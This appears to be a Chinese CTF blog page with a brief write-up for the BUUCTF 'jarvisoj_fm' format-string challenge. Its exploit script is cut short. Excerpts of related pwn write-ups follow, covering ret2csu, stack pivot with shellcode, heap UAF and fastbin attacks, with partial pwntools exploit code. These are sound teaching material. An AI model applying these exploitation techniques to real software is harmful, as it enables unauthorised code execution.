BUUCTF-jarvisoj_fm 题解
Created|Updated|BUUCTF 题解
|Post Views:
题目
checksec

IDA

利用格式化字符串漏洞篡改 x 为 4 即可,注意这里是 32 位
exp
1 | from pwn import * |
Author: RatherHard
Copyright Notice: All articles on this blog are licensed under CC BY-NC-SA 4.0 unless otherwise stated.
Related Articles
2026-01-12
BUUCTF-NewStarCTF-2023-orwrop 题解
题目 题目链接 checksec 有 canary 保护 IDA 有沙箱,考虑 orw 可利用格式化字符串漏洞泄露 canary 然后发现 mmap 开了一个 rwx 区域 考虑栈迁移和 ret2shellcode 我们可以在第一次溢出时迁移 rbp 并再次调用溢出漏洞,然后由于 buf 的写入是以 rbp 为基准的,所以在第二次溢出时栈已迁移,可以直接在 rwx 段上布局 shellcode 实现 orw exp 123456789101112131415161718192021222324252627282930313233343536from pwn import *context.log_level = 'debug'context.arch = 'amd64'elf = ELF('ezorw')io = process('./ezorw') fmt = b'%11$p'io.recvuntil(b'sandbox\n')io.sendline(fm...
2026-01-12
BUUCTF-NewStarCTF-ret2csu1 题解
题目 题目链接 checksec IDA csu 中有 call [r12 + rbx*8] ,令 r12 为指向 backdoor 地址的一个地址即 gift3 , rbp 为 0 即可调用 backdoor 根据 execve 的参数定义,令 rdi -> “/bin/cat\x00” 即 rdi = aBinCat , rsi = gift2 , rdx = 0 再调用 backdoor 即可 exp 1234567891011121314151617181920from pwn import *context.log_level = 'debug'context.arch = 'amd64'io = process('./ret2csu1')csu1 = p64(0x40072A)csu2 = p64(0x400710)rdi = p64(0x4007BB)rsi = p64(0x601050)backdoor = p64(0x601068)padding = 32 + 8payload = b&...
2026-01-16
BUUCTF-NewStarCTF-2023-ezheap 题解
题目 题目链接 checksec 全开 IDA main 菜单题 menu add 一次 add 申请两个 chunk ,记为 head_chunk 和 content_chunk delete 有明显的 UAF 漏洞 show delete 后仍可以 show edit delete 后仍可以 edit read_idx read_size 攻击思路 由于一次 add 申请两个 chunk ,而一次 delete 只 free 掉 head_chunk 且不清空数据,而 delete 后仍可以 edit,所以我们可以通过两次 delete 和一次 add 获得一个 head_chunk 的控制权,进而利用 edit/show 实现 AAW/AAR 同时,在上面的操作之前 delete 掉一个 head_chunk 使之进入 tcache ,我们可以利用 chunk 的残留值泄露堆地址,实现对堆的完全控制 然而由于我们并没有操作栈的机会,也没有办法劫持 got 表,因此我们考虑去劫持 __free_hook 函数,这需要泄露 libc 基址 由于 tcache ...
2026-01-13
BUUCTF-ZJCTF-2019-EasyHeap 题解
题目 题目链接 checksec IDA main 菜单题 menu create delete edit 有明显的堆溢出,考虑通过 fastbin 获取在 heaparray 附近的 fake chunk ,再劫持 heaparray 以实现任意地址写 got systemplt 构造合适位置的 fake chunk 0x6020ad 处有满足 size = 0x7f 的 fake chunk ,故申请 0x68 字节,使用 0x70 的 fastbin 链表 攻击思路 先利用堆溢出漏洞劫持已进入 fastbin 的 chunk 的 fd 指针为 fake chunk 地址 0x6020ad 再通过 malloc 申请这块 fake chunk ,同时在 fake chunk 写入 payload 劫持 heaparray[0] 由于我们希望通过 system(“/bin/sh”) 提权,然而 elf 中并没有 “/bin/sh” 字符串,这需要我们手动写入 更坏的是,我们似乎并没有操纵栈的机会,只能通过劫持 got 表短暂地劫持程序流程,,, 所以这里有一...
2025-10-29
BUUCTF-bjdctf_2020_babystack 题解
题目 题目链接 checksec IDA 很显然,由于 nbytes 可以被赋予一个较大的值,使得 buf 可以被溢出。 backdoor 思路 利用的栈溢出漏洞覆盖函数返回地址,使之返回到这个后门函数提权即可。 附一个图示: 根据 buf 的位置 [rbp-10h] 可构造 payload = b'A' * (16 + 8) + backdoor_addr 实现攻击,由于需要栈对齐,其中,backdoor_addr = 0x4006ea ,而不是 backdoor_addr = 0x4006e6 exp 1234567891011121314151617181920from pwn import *context.log_level = 'debug'context.arch = 'amd64'p = process('./bjdctf_2020_babystack')p.recvuntil(b'name:\n')payload = b'40'p.sendline(pay...
2026-01-12
BUUCTF-qctf2018_stack2 题解
题目 题目链接 checksec IDA 有一个利用 v13 越界的漏洞,直接劫持返回地址到后门即可 backdoor exp 1234567891011121314151617181920212223242526272829303132333435363738394041424344from pwn import *context.log_level = "debug"context.arch = "i386"io = process("./stack2")io.recvuntil(b"have:\n")io.sendline(b'1')io.recvuntil(b"numbers\n")io.sendline(b'1')io.recvuntil(b"exit\n")io.sendline(b'3')io.recvuntil(b"change:\n")io.sendline(...
Announcement
Ciallo~(∠・ω< )⌒☆